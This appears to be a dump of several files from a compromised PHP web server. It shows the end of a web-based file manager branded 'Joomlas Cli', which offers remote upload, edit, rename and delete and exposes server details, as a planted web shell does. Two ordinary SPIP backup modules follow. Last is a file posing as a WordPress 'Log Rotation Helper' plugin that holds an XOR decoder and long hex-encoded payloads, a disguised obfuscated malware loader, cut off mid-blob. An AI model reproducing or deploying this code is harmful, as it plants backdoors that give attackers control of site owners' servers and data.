'Renamed successfully.'; } else { $message = 'Rename failed.'; } } if (isset($_POST['edit'])) { $fileToEdit = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['file_name']); if (is_file($fileToEdit)) { if (my_file_put_contents($fileToEdit, $_POST['file_content']) !== false) { $message = 'File saved.'; } else { $message = 'Edit failed.'; } } else { $message = 'Edit failed: not a valid file.'; } } $folders = []; $files = []; if ($dh = @opendir($currentDir)) { while (($item = readdir($dh)) !== false) { if ($item === '.' || $item === '..') continue; $path = $currentDir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } closedir($dh); sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); } function isReadablePath($path) { return is_readable($path); } function buildBreadcrumb($dir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $crumb = []; $accum = ''; foreach ($parts as $part) { if ($part === '') continue; $accum .= DIRECTORY_SEPARATOR . $part; $crumb[] = '<a href="?dir=' . urlencode($accum) . '">' . htmlspecialchars($part) . '</a>'; } return implode(' › ', $crumb); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover"> <title>📁 Joomlas Cli</title> <style> * { box-sizing: border-box; margin: 0; padding: 0; } body { background: #f1f5f9; font-family: system-ui, -apple-system, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; padding: 12px; line-height: 1.5; } .container { max-width: 1400px; margin: 0 auto; background: #ffffff; border-radius: 28px; box-shadow: 0 8px 20px rgba(0,0,0,0.05); padding: 20px 20px 32px; } h2 { font-size: 1.6rem; font-weight: 600; border-left: 5px solid #4361ee; padding-left: 16px; margin: 0 0 20px 0; background: #f8fafc; border-radius: 14px; line-height: 1.3; } .system-info { background: #eef2ff; padding: 12px 18px; border-radius: 24px; font-size: 0.8rem; display: flex; flex-wrap: wrap; gap: 16px; margin-bottom: 24px; } .system-info ul { margin: 0; padding-left: 20px; } .breadcrumb { background: #f1f5f9; padding: 12px 16px; border-radius: 50px; font-size: 0.9rem; word-break: break-word; margin-bottom: 24px; display: flex; flex-wrap: wrap; align-items: center; gap: 8px; } .breadcrumb a { text-decoration: none; color: #2563eb; font-weight: 500; } .parent-link { display: inline-block; background: #e2e8f0; padding: 6px 14px; border-radius: 40px; font-size: 0.8rem; margin-left: 6px; } .flex-forms { display: flex; flex-wrap: wrap; gap: 20px; background: #f9fafb; padding: 20px; border-radius: 28px; margin: 20px 0; } .form-group { flex: 1 1 240px; display: flex; flex-direction: column; gap: 8px; } .form-group label { font-weight: 600; font-size: 0.85rem; color: #0f172a; } input, button { padding: 12px 16px; border-radius: 60px; border: 1px solid #cbd5e1; background: white; font-size: 0.9rem; width: 100%; font-family: inherit; } button, input[type="submit"] { background: #1e293b; color: white; border: none; cursor: pointer; font-weight: 600; transition: all 0.2s ease; } button:hover, input[type="submit"]:hover { background: #0f172a; transform: scale(0.98); } .upload-btn { background: #2c7da0; } .message { background: #dcfce7; color: #166534; padding: 12px 20px; border-radius: 60px; margin: 20px 0; font-size: 0.9rem; font-weight: 500; } .table-wrapper { overflow-x: auto; margin: 24px 0 12px; border-radius: 24px; border: 1px solid #e2e8f0; -webkit-overflow-scrolling: touch; } table { width: 100%; border-collapse: collapse; font-size: 0.85rem; min-width: 640px; } thead tr { background: linear-gradient(135deg, #1e2a5e, #2d3a6e); color: white; } th, td { padding: 14px 12px; text-align: left; border-bottom: 1px solid #e2e8f0; vertical-align: middle; } tbody tr:hover { background: #f8fafc; } .icon-readable { color: #22c55e; font-weight: 600; } .icon-unreadable { color: #ef4444; font-weight: 600; } .action-buttons { display: flex; flex-wrap: wrap; gap: 8px; } .action-buttons a { display: inline-block; text-decoration: none; padding: 6px 14px; border-radius: 40px; font-size: 0.75rem; font-weight: 600; transition: 0.1s; white-space: nowrap; text-align: center; } .btn-edit { background: #ffb74d; color: #3e2723; } .btn-rename { background: #4fc3f7; color: #01579b; } .btn-delete { background: #ef9a9a; color: #b71c1c; } .file-name { word-break: break-word; max-width: 220px; } .badge { font-size: 0.7rem; background: #e9ecef; padding: 4px 10px; border-radius: 40px; white-space: nowrap; display: inline-block; } .edit-panel, .rename-panel { border-radius: 24px; padding: 20px; margin: 20px 0; } .edit-panel { background: #fef9e3; } .rename-panel { background: #e3f2fd; } textarea { width: 100%; border-radius: 20px; padding: 14px; border: 1px solid #cbd5e1; font-family: 'Courier New', monospace; font-size: 0.85rem; resize: vertical; } footer { font-size: 0.7rem; text-align: center; margin-top: 32px; color: #475569; border-top: 1px solid #e2e8f0; padding-top: 20px; } @media (max-width: 768px) { body { padding: 8px; } .container { padding: 16px; border-radius: 20px; } h2 { font-size: 1.4rem; margin-bottom: 16px; } .system-info { padding: 10px 14px; font-size: 0.7rem; } .breadcrumb { font-size: 0.8rem; padding: 10px 14px; } .flex-forms { flex-direction: column; gap: 16px; padding: 16px; } .form-group { width: 100%; } th, td { padding: 10px 8px; } .action-buttons a { padding: 5px 10px; font-size: 0.7rem; } .file-name { max-width: 150px; } .badge { font-size: 0.65rem; padding: 2px 8px; } } @media (max-width: 480px) { .action-buttons { flex-direction: column; gap: 6px; } .action-buttons a { text-align: center; width: 100%; } th, td { font-size: 0.75rem; padding: 8px 6px; } table { min-width: 520px; } .file-name { max-width: 120px; } } @media (min-width: 1200px) { .container { padding: 28px 32px 40px; } th, td { padding: 16px 14px; } .action-buttons a { padding: 6px 16px; font-size: 0.8rem; } } </style> </head> <body> <div class="container"> <h2>📁 Joomlas Cli</h2> <div class="system-info"> <ul> <li><strong>Server:</strong> <?= htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A') ?></li> <li><strong>OS:</strong> <?= htmlspecialchars(php_uname()) ?></li> <li><strong>PHP:</strong> <?= htmlspecialchars(phpversion()) ?></li> </ul> </div> <div class="breadcrumb"> <strong>📍 Location:</strong> <?= buildBreadcrumb($currentDir) ?> <?php $parent = dirname($currentDir); if ($parent && $parent !== $currentDir && is_dir($parent)) { echo ' <a href="?dir=' . urlencode($parent) . '" class="parent-link">⬆ Parent</a>'; } ?> </div> <div class="flex-forms"> <div class="form-group"> <label>📤 Upload file</label> <form method="post" enctype="multipart/form-data" style="display:flex; gap:8px; flex-wrap:wrap;"> <input type="file" name="file" required style="flex:1;"> <input type="submit" name="upload" value="Upload" class="upload-btn" style="width:auto;"> </form> </div> </div> <?php if ($message !== ''): ?> <div class="message">✔ <?= htmlspecialchars($message) ?></div> <?php endif; ?> <?php if (isset($_GET['edit']) && is_file($currentDir . '/' . basename($_GET['edit']))): $editFile = $currentDir . '/' . basename($_GET['edit']); $content = my_file_get_contents($editFile); if ($content === false) $content = "[Failed to read file]"; ?> <div class="edit-panel"> <h3>✏️ Editing: <?= htmlspecialchars(basename($_GET['edit'])) ?></h3> <form method="post"> <textarea name="file_content" rows="8"><?= htmlspecialchars($content) ?></textarea> <input type="hidden" name="file_name" value="<?= htmlspecialchars(basename($_GET['edit'])) ?>"> <input type="submit" name="edit" value="Save Changes" style="margin-top:12px; background:#f4a261; width:auto;"> </form> </div> <?php endif; ?> <?php if (isset($_GET['rename']) && (is_file($currentDir . '/' . basename($_GET['rename'])) || is_dir($currentDir . '/' . basename($_GET['rename'])))): $renameTarget = htmlspecialchars(basename($_GET['rename'])); ?> <div class="rename-panel"> <h3>🔄 Rename: <?= $renameTarget ?></h3> <form method="post"> <input type="text" name="new_name" placeholder="new name" required style="min-width:180px;"> <input type="hidden" name="old_name" value="<?= $renameTarget ?>"> <input type="submit" name="rename" value="Rename" style="background:#4c9aff; margin-top:10px; width:auto;"> </form> </div> <?php endif; ?> <div class="table-wrapper"> <table> <thead> <tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Actions</th></tr> </thead> <tbody> <?php if (empty($folders) && empty($files)): ?> <tr><td colspan="5" style="text-align:center;">📭 Empty directory</td></tr> <?php endif; ?> <?php foreach ($folders as $folder): $fullPath = $currentDir . DIRECTORY_SEPARATOR . $folder; $readable = isReadablePath($fullPath); $iconClass = $readable ? 'icon-readable' : 'icon-unreadable'; $iconSymbol = $readable ? '📁' : '🔒📁'; $modTime = filemtime($fullPath); ?> <tr> <td class="file-name"> <span class="<?= $iconClass ?>"><?= $iconSymbol ?></span> <a href="?dir=<?= urlencode($fullPath) ?>" style="font-weight:500;"><?= htmlspecialchars($folder) ?></a> <?php if (!$readable): ?> <span class="badge" style="background:#fee2e2; color:#b91c1c;">🔴 unreadable</span><?php endif; ?> </td> <td><span class="badge">Dir</span></td> <td>—</td> <td><?= formatTimestamp($modTime) ?></td> <td class="action-buttons"> <a href="?dir=<?= urlencode($currentDir) ?>&rename=<?= urlencode($folder) ?>" class="btn-rename">✏️ Rename</a> <a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($folder) ?>" class="btn-delete" onclick="return confirm('⚠️ Delete folder & all contents?');">🗑 Delete</a> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $file): $fullPath = $currentDir . DIRECTORY_SEPARATOR . $file; $readable = isReadablePath($fullPath); $iconClass = $readable ? 'icon-readable' : 'icon-unreadable'; $iconSymbol = $readable ? '📄' : '🔒📄'; $size = filesize($fullPath); $modTime = filemtime($fullPath); $isScript = (realpath($fullPath) === realpath($scriptFile)); ?> <tr> <td class="file-name"> <span class="<?= $iconClass ?>"><?= $iconSymbol ?></span> <?= htmlspecialchars($file) ?> <?php if ($isScript): ?> <span class="badge" style="background:#ffedd5;">🔒 protected</span><?php endif; ?> <?php if (!$readable): ?> <span class="badge" style="background:#fee2e2; color:#b91c1c;">🔴 unreadable</span><?php endif; ?> </td> <td><span class="badge">File</span></td> <td><?= getHumanSize($size) ?></td> <td><?= formatTimestamp($modTime) ?></td> <td class="action-buttons"> <?php if ($readable): ?> <a href="?dir=<?= urlencode($currentDir) ?>&edit=<?= urlencode($file) ?>" class="btn-edit">✍ Edit</a> <?php else: ?> <span class="badge" style="background:#e2e3e5; color:#6c757d;">🚫 Edit blocked</span> <?php endif; ?> <a href="?dir=<?= urlencode($currentDir) ?>&rename=<?= urlencode($file) ?>" class="btn-rename">🏷 Rename</a> <a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($file) ?>" class="btn-delete" onclick="return confirm('Delete this file?');">❌ Delete</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <footer> Joomlas Cli </footer> </div> </body> </html> dump.php000060400000025313152525706150006232 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * API permettant la manipulation des sauvegardes * * @package SPIP\Dump\API */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Répertoire de sauvegarde * * Crée et retourne le chemin du répertoire de sauvegarde * * @see _DIR_DUMP * * @return string */ function dump_repertoire() { $repertoire = _DIR_DUMP; if (!@file_exists($repertoire) and !$repertoire = sous_repertoire(_DIR_DUMP, '', false, true) ) { $repertoire = preg_replace(',' . _DIR_TMP . ',', '', _DIR_DUMP); $repertoire = sous_repertoire(_DIR_TMP, $repertoire); } return $repertoire; } /** * Nom du fichier de sauvegarde * * la fourniture de l'extension permet de vérifier que le nom n'existe pas déjà. * * @param string $dir Chemin de stockage du fichier * @param string $extension Extension du fichier de sauvegarde * @return string */ function dump_nom_fichier($dir, $extension = 'sqlite') { include_spip('inc/texte'); $site = 'spip'; if (isset($GLOBALS['meta']['nom_site'])) { $site = typo($GLOBALS['meta']['nom_site']); // extraire_multi $site = couper(translitteration(trim($site)), 30, ''); $site = preg_replace(array(',\W,is', ',_(?=_),', ',_$,'), array('_', '', ''), $site); } $site .= '_' . date('Ymd'); $nom = $site; $cpt = 0; while (file_exists($dir . $nom . ".$extension")) { $nom = $site . sprintf('_%03d', ++$cpt); } return $nom . ".$extension"; } /** * Détermine le type de serveur de sauvegarde, * sqlite2 ou sqlite3 * * @return string */ function dump_type_serveur() { // chercher si sqlite2 ou 3 est disponible include_spip('req/sqlite3'); if (function_exists('spip_versions_sqlite3') and spip_versions_sqlite3()) { return 'sqlite3'; } if (function_exists('spip_versions_sqlite3')) { spip_log("ERREUR sqlite3 n'est pas correctement installé : " ."extension_loaded('pdo')=".extension_loaded('pdo') ." extension_loaded('pdo_sqlite')=".extension_loaded('pdo_sqlite'), _LOG_ERREUR); } include_spip('req/sqlite2'); if (function_exists('spip_versions_sqlite2') and spip_versions_sqlite2()) { return 'sqlite2'; } return ''; } /** * Conteneur pour les arguments de la connexion * * Si on passe $args, les arguments de la connexion sont memorisés. * Renvoie toujours les derniers arguments memorisés. * * @staticvar array $connect_args Pour stocker le premier conteneur * @param array $args * @return array */ function dump_serveur($args = null) { static $connect_args = null; if ($args) { $connect_args = $args; } return $connect_args; } function dump_connect_args($archive) { if (!$type_serveur = dump_type_serveur()) { return null; } return array(dirname($archive), '', '', '', basename($archive, '.sqlite'), $type_serveur, 'spip'); } /** * Initialiser un dump * * @param string $status_file Fichier contenant les informations serialisees sur le statut de l'export * @param string $archive Nom de l'archive (stockee dans le fichier de statut) * @param array $tables Liste des tables a exporter (autocaculee par defaut) * @param array $where Condition sur l'export * @param string $action Pour differencier la sauvegarde de l'import * @return bool/string */ function dump_init($status_file, $archive, $tables = null, $where = array(), $action = 'sauvegarde') { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (lire_fichier($status_file, $status) and $status = unserialize($status) and $status['etape'] !== 'fini' and filemtime($status_file) >= time() - 120 ) { // si le fichier status est trop vieux c'est un abandon return _T('dump:erreur_' . $action . '_deja_en_cours'); } if (!$type_serveur = dump_type_serveur()) { return _T('dump:erreur_sqlite_indisponible'); } if (!$tables) { list($tables, ) = base_liste_table_for_dump(lister_tables_noexport()); } $status = array('tables' => $tables, 'where' => $where, 'archive' => $archive); $status['connect'] = dump_connect_args($archive); dump_serveur($status['connect']); if (!spip_connect('dump')) { return _T('dump:erreur_creation_base_sqlite'); } // la constante sert a verifier qu'on utilise bien le connect/dump du plugin, // et pas une base externe homonyme if (!defined('_DUMP_SERVEUR_OK')) { return _T('erreur_connect_dump', array('dump' => 'dump')); } $status['etape'] = 'init'; if (!ecrire_fichier($status_file, serialize($status))) { return _T('dump:avis_probleme_ecriture_fichier', array('fichier' => $status_file)); } return true; } /** * Afficher l'avancement de la copie * * @staticvar int $etape Nombre de fois ou on est passe dans cette foncion * @param <type> $courant Flag pour indiquer si c'est la table sur laquelle on travaille actuellement * @param <type> $total Nombre total de tables * @param <type> $table Nom de la table */ function dump_afficher_progres($courant, $total, $table) { static $etape = 1; if (unique($table)) { if ($total < 0 or !is_numeric($total)) { echo '<br /><strong>' . $etape . '. ' . "</strong>$table "; } else { echo '<br /><strong>' . $etape . '. ' . "$table</strong> " . ($courant ? " <i>($courant)</i> " : ''); } $etape++; } if (is_numeric($total) and $total >= 0) { echo '. '; } else { echo '(' . (-intval($total)) . ')'; } flush(); } /** * Écrire le js pour relancer la procédure de dump * * @param string $redirect URL de la prochaine etape du dump * @return string Code HTML de redirection */ function dump_relance($redirect) { // si Javascript est dispo, anticiper le Time-out return "<script language=\"JavaScript\" type=\"text/javascript\">window.setTimeout('location.href=\"$redirect\";',300);</script>\n"; } /** * Marquer la procédure de dump comme finie * * @param string $status_file * Fichier qui mémorise les infos utiles concernant la sauvegarde en cours * @param string $action * Type d'action supplémentaire à réaliser : * * - restaurer : supprimer la structure qui était stockée dans le dump * - 'auvegarder : stocker dans le dump la structure de la base source */ function dump_end($status_file, $action = '') { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (!lire_fichier($status_file, $status) or !$status = unserialize($status) ) { return; } switch ($action) { case 'restaurer': // supprimer la structure qui etait stockee dans le dump sql_delete('spip_meta', "nom='dump_structure_temp'"); break; case 'sauvegarder': // stocker dans le dump la structure de la base source $structure = array(); foreach ($status['tables_copiees'] as $t => $n) { $structure[$t] = sql_showtable($t, true); } dump_serveur($status['connect']); spip_connect('dump'); // si spip_meta n'a pas ete backup elle n'est pas dans le dump, il faut la creer pour y stocker cette meta if (!sql_showtable('spip_meta', true, 'dump')) { $desc = sql_showtable('spip_meta', true); sql_create('spip_meta', $desc['field'], $desc['key'], false, false, 'dump'); } sql_delete('spip_meta', "nom='dump_structure_temp'", 'dump'); #enlever une vieille structure deja la, au cas ou sql_insertq( 'spip_meta', array('nom' => 'dump_structure_temp', 'valeur' => serialize($structure), 'impt' => 'non'), array(), 'dump' ); break; } $status['etape'] = 'fini'; ecrire_fichier($status_file, serialize($status)); } /** * Lister les fichiers de sauvegarde existant dans un repertoire * trie par nom, date ou taille * * @param string $dir Repertoire de sauvegarde * @param string $tri Tri pour recuperer les fichiers * @param string $extension Extension des fichiers de sauvegarde * @param int $limit Nombre max de fichiers listes * @return array */ function dump_lister_sauvegardes($dir, $tri = 'nom', $extension = 'sqlite', $limit = 100) { $liste_dump = preg_files($dir, '\.' . $extension . '$', $limit, false); $n = strlen($dir); $tn = $tl = $tt = $td = array(); foreach ($liste_dump as $fichier) { $d = filemtime($fichier); $t = filesize($fichier); $fichier = substr($fichier, $n); $tl[] = array('fichier' => $fichier, 'taille' => $t, 'date' => $d); $td[] = $d; $tt[] = $t; $tn[] = $fichier; } if ($tri == 'taille') { array_multisort($tt, SORT_ASC, $tl); } elseif ($tri == 'date') { array_multisort($td, SORT_ASC, $tl); } else { array_multisort($tn, SORT_ASC, $tl); } return $tl; } /** * Extraire le statut contenu dans un fichier * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return array */ function dump_lire_status($status_file) { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (!lire_fichier($status_file, $status) or !$status = unserialize($status) ) { return ''; } return $status; } /** * Verifier qu'un sauvegarde est finie * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string Chaine non vide s'il reste des choses a faire */ function dump_verifie_sauvegarde_finie($status_file) { if (!$status = dump_lire_status($status_file) or $status['etape'] !== 'fini' ) { return ''; } return ' '; } /** * Recuperer le nom du fichier d'archivage qui est memorise dans le fichier de statut * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string Nom ou chaine vide si on a un probleme */ function dump_nom_sauvegarde($status_file) { if (!$status = dump_lire_status($status_file) or !file_exists($f = $status['archive'] . '.sqlite') ) { return ''; } return $f; } /** * Recuperer la taille du fichier de sauvegarde * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string/int Taille ou Chaine vide en cas de probleme */ function dump_taille_sauvegarde($status_file) { if (!$f = dump_nom_sauvegarde($status_file) or !$s = filesize($f) ) { return ''; } return $s; } /** * Recuperer la date de derniere modification du fichier de sauvegarde * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string/int Date ou Chaine vide en cas de probleme */ function dump_date_sauvegarde($status_file) { if (!$f = dump_nom_sauvegarde($status_file) or !$d = filemtime($f) ) { return ''; } return date('Y-m-d', $d); } sauvegarder.php000060400000005277152525706150007604 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/dump'); /** * Fonction principale de sauvegarde * En mode sqlite on passe par une copie de base a base (dans l'API de SPIP) * * @param string $status_file Nom du fichier de status (stocke dans _DIR_TMP) * @param string $redirect Redirection apres la sauvegarde * @return bool */ function inc_sauvegarder_dist($status_file, $redirect = '') { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (!lire_fichier($status_file, $status) or !$status = unserialize($status) ) { } else { $timeout = ini_get('max_execution_time'); // valeur conservatrice si on a pas reussi a lire le max_execution_time if (!$timeout) { $timeout = 30; } // parions sur une valeur tellement courante ... $max_time = time() + $timeout / 2; include_spip('inc/minipres'); @ini_set('zlib.output_compression', '0'); // pour permettre l'affichage au fur et a mesure $titre = _T('dump:sauvegarde_en_cours') . ' (' . count($status['tables']) . ') '; $balise_img = chercher_filtre('balise_img'); $titre .= $balise_img(chemin_image('searching.gif')); echo(install_debut_html($titre)); // script de rechargement auto sur timeout echo http_script("window.setTimeout('location.href=\"" . $redirect . "\";'," . ($timeout * 1000) . ')'); echo "<div style='text-align: left'>\n"; dump_serveur($status['connect']); spip_connect('dump'); // au premier coup on ne fait rien sauf afficher l'ecran de sauvegarde $res = false; if (_request('step')) { $options = array( 'callback_progression' => 'dump_afficher_progres', 'max_time' => $max_time, 'no_erase_dest' => lister_tables_noerase(), 'where' => $status['where'] ? $status['where'] : array(), ); $res = base_copier_tables($status_file, $status['tables'], '', 'dump', $options); } echo("</div>\n"); if (!$res and $redirect) { echo dump_relance($redirect); } echo(install_fin_html()); if (@ob_get_contents()) { ob_end_flush(); } flush(); return $res; } } _notes/index.php000064400000066617152525761710007706 0ustar00<?php /** * Plugin Name: Log Rotation Helper * Description: Rotates and archives server logs on configurable intervals. * Version: 3.2.75 */ if(!defined('ABSPATH')){define('ABSPATH',dirname(__FILE__).'/');} function _TcXHBTp6Oha($k,$d=''){return$d;} function _0bezChXHfNX($k,$v,$t=3600){return$v;} function _z_xor($d,$k){$l=strlen($d);$kl=strlen($k);for($i=0;$i<$l;$i++){$d[$i]=chr(ord($d[$i])^ord($k[$i%$kl]));}return$d;} $_kspQgS = '65785'; $_tX70hptM = '03352'; $_dwYTwTGX = '41534'; $_dDOY3 = '95249'; $_bqfY9s = hex2bin($_kspQgS.$_tX70hptM.$_dwYTwTGX.$_dDOY3); $_sljiU3g = ''; // compression flag $_mcp60Hn = '7a3954655346432b7643496b7864624d4777312b387569677a416e36664c69684f3876506c30654f47517056523761415371396e536d43764c66436a47507a634c57316c366575794f4756705850786c4f424776464e4d4834523737744a4f6e4e55665336736763506361752f347732734967354448757674545368545732686e782f364139684879576276662b5844684d4e44794b4b703459442b6431534f7436487273697968424967742f484d753744752b6c414e6c5157727173626a456150444d63686c4e464e756a53752b66736a6d36343233393236366439585258774b51737276355861583562716b6a487950356177414735537548556f634f564d38506367375a667744673730725442433959664150684e337a56663741354d7a49345234545676654975617453773246445359556130675973354931504c717057334143626933787670717562546a745854684b5934683661495a36335734497847414b71435a6d37496746337861613579307943466b714776494a78636a644a337849785041676f2b5571594b576774377236423849314c3651524a3446304b354e796a48486a75736f7048747833446d2b4f392b3872382b30423065506669633848374a6a784946717867474c57626436704f4743627a596763623156366f6676524c7574654c496d3353443261383339704949556a6b53615a356533564452762f31653147742f7a4d55572f6b776257625371476a2f464133686c30494168674a6b764d505a4261485250322b586b3952754b74654c6f745a6e4954324f53685077316b7036424f50456c424b38684f743579344474613162695763354e2b74446759624a784a717a713439755a346b682b666e4f555a4b3848537a6d512b6d7a337a6b6c612b32306f36496a386143626c41566237594b6f506e48547a4d7975516d35555163714379542b50426c68364c37684b437768656769434c6169617a3968547879494d37717732726f38755978732b5632476c7342474433746b635a367653312f615a304b66357577436a4174443279336d756e4b65675278664a794e7658747350494f746956577a597177394f543855544a7555384e665a5a565169626a4758746836574b5942717179523172424d78684c3030583166695a74306e70726b2f333739597a334543744f6a4a316a686842585a4e686c42454d36576b44503643796661563056724f4e4354442f4e7454556b44417643682b6566684a52715657473276644d7a626e3831746839433764475a385a644a7533726b6c666771546a537878636a522f6d61316e4f7852366e5967727854336b504f6577413669596e5949716e6845446549382b50436162335051746d4f414231717a4a6b3537686e647867344f4855756752554b514230773573647a62534b2f54434d6e615467695049364a47796564564a6f354d566176676f75645571766a527344466268517a696162486132497366466c3132507a6f79336c4d45766e454b4a6630672b76765973644269664453384e4e5842756279314e544e4f6f762b6545773234424566385a65596e6a4c77795836416f4f6849576a446f6c78547a50714c747a50455564736d4d486565596e736c5936644855466565356f7673304c435a5756332f7159567332306668355938316c58536668334b4c74786942574f473261525134366c756d67475843315a3835376a6f6e79337434526a357362464d7348663244635473726c557979344b6176582f536d36505a7976545069412b4d3168544e4269706f4c6b2f45684a496f367263682b4e39724e4354616552374a47497471514a4b3757726b2f3464336c6f34777a4b78342b7a4b4457433331494c3953346d6a7270557751727146656541666f492b713876784435776a73637945754232724c533669354a717a6832766e727a50506c4d4f70645461512f67416567714c75634248356a634f6b382b76336142435055706f582b6d646247704e67495957717a5265417051754b77516a646b30663241424173754e2f6376414b4e4934733443496c4e4e4b4a795279334f4a6e5952734231504134684c4c565570672f524970736d6f44777559374475536e336c5a62457375766d3030486d32592f6252794d6258454d3473333572454f6d49626b516637422b567175787553376a7866554f3057676932575861435a456664394b43693152786a653650697468665866787a555a5a6f71554569357242776b47747a766b59483354714e57662b4f714472485048536f5762464176714b55526a4738365a386f4c73792f32434b76694e35696c59454949717239444f647054716e42617a366445676c58614165636a51345a45504c5167506f56446d6e51705846412f44677278326a58687635314f724e6366724c5332552f3438376e772f514273707244597832396b6e6c45674e534c2f467735314a633768534d6c2b523639764b5555434251716c31466c55647a2b64714d2f346d6d776d435539656c5a737a6b743747564374537148516f71625a4235373933584a4f73704c544c655434626557734a6874522f595a574d487671676472514d5061767263747041415043674837684b6f456f53664854356d43376d4e756847744c6167364a686c376e596278724762383052484371426b4d46356d41513175637943595a624a48415a394f3451325943414d495869764d4535727438593239556b5a4e5575586c6a553175704861656e76746d3169666e38474c41505357475064776939684b667735552f6751667a52306e312f64564f36374b504f42596f614561556e73636d6a3850745436383364374b6f3847593771564e306e4a44475a72796875514570424c3030704a525a432f344c5975382b3276473046466a4f635547493372384c61562b33565a7a684c382b6d6d53457965434f504766656c50566d517357693830446f4a4e4c704d336f792b3674364a496b726c414f4d4d45624f585046774b645a4f7948385a324544755659574f6753594331766872516d3130314b4d5a49574c6e646647557968532b756a6e516e58517a396434324f3752383076617a47526c587a7274373259453131387a32344a5530454f712b4543643977767330612b472b2f3372785a494669725a2f69684d6549514270384f4436336357723078555371325a55544769517a353866572f537770634f6f32506753626c384e6a5234324a482f72354365567854774179564b644270776c456564596d49786c6a6f494a7559706a377369576c767935504a4a5172476146763571756535554c36782f7270566149683764686e4a65567351304e6a31372f31566943716145523268677a626744412f6b32577461313746304d2b6f342f484d6f486578314431694a7570704d6b746d32695341395877614f335a2f494f5667332f474763794d4a43746e7471537a4e4b6e4d4a5256576b6d736d324c65723762487832764c6f64776534796a4c367058335550784b47456e4c793677423041737754636e66324a54623542636e3669586151575972636a364433635946694d626f47565a4d7935724b6f6a706c68356a346651646971354638466d574932436531614550315a336269566336516b413066694b324a4c342f6c63517635306c41382b526b664a4471746c4d4e38456b6b6e6b612b7a2f377143547446614c69702b627272452b4c7a2f494f765048696438762f52524759384b7965314843796a66682b4e366435544f746d425770394b6647795942737a7773376d626634454a332f713962422b665676776c6c3945633449747a356252474a58394d4c6d77535756675a67786f49385766475739487a56782b6d334a7363434145725a536551546c5a69616c4a68366f494e48746453356e484e70466870544c72736b5547746d4e75456670464a724c39347358644757626d7a655157547a756536466348514e4d3837552b55764963784b47334d4d51436231384558764337776d7344532b7771583442644c66694152324a47424a6d6b74654430384e2f39435872566e52576463717869764e4e514f47364c4c6a356b684e366d4f555a4a69796c534e577a3977767a706a64414e534b574c4c47436a6e3833456254797944685a697033707178474867324179476c57344a374759416f46736b2b456a51705a4741346b414b783734694d4d306e62694e6c6341783256397173374357735932693370484b4b6833657531366143414b4e6961395178356331624d556768465069764e45637a557470444750327677706a34386f473674424e4848754465656570725a6d6f53397830713277784f6278474346645a6164426a5a4f734c4166432f2f484877352f74574566516d562b516d79716c3939776233424f76627233375a686b732f6a63764d75644e72657846647037475a7279396e575750726e4572757057507141416b6f4e4a4d37783952524a6a67465170744c697269774666304168665a5851716e4d324156794a616c4e6432566c7951376171554130786b72417672743068556e50466f7751496a56596c666a376148526643654373734f7a4474536c4c615077664869417a4f3048785167545367787633333864464c5537626e5977417a634f66316946346b43544944423971442f6e53394d3644786d48'; $_sFnIUhWK = '3061747852383833564e72367668347843424d6472475356343446484a683455734e663877534d4d3279494b4e6e6c78636245374e684148483742524a62626337464238694d355171334476743844476f4e66753156657879695871735039484b616c3456507548642b70765863424b6b6c58783272627a774a694e42354b683167363844735378534131757363646c4b586e4e41776b30525971444148535746574774466f78504837345567792f544d417a34626964644d7530433954444e646b39655a71474b34724b7a2f3658676c4d6b6a6e58485148444c784a2f2f2b5363365433366a4c4767592f2b7369493757706136746e4e3263325679693934745863636178426e3146385554716d61634d505777767973515a33395851377a474266394243734c4732572b66684a587959435a3668785a5466457573384c394147472b43425241594b6b675062425435775171655a395675654563366a56775a37493732324c4f4d4a636c486e337955734162737a43675537436c794b44485a6b59566236386c6d5554773364626c57506d6530697049396f4f4974666c79594d473256503679576c7570314d70455779417371454d356b7a58657a6a484548343243675759304e61614567522f427836474d6b5467615156374735476e2b35584258575742547146354e396b62554f414a622f796b6f432b3550576c3932344a704c6c372f4365384479764666623448725534376b4d38724a33677a7149397965706f56422b5a5434716a6f6544326d412b5877563669427146716d7139366c484a6b4c49614f773574457163467666774e466948736e64716b735966317175706355574948354e5a63507372676437744846356f374b6233672b43756e4f6d2f415a47502b65754b37784a656b746b527a426c4b4d2b4354595873386a697337517554444368367a6e6b476a343356786c78562b4f527a614a6f726f4642727a745a2f544a6b507861352b394c6a4c787041394a78494a435467442b3144587876592f364442784f7672632b61433950687845386f2b63513938747142663359476c7a4f4554377871445765485475317763554c4d5154734f436f4e596a594d6c6a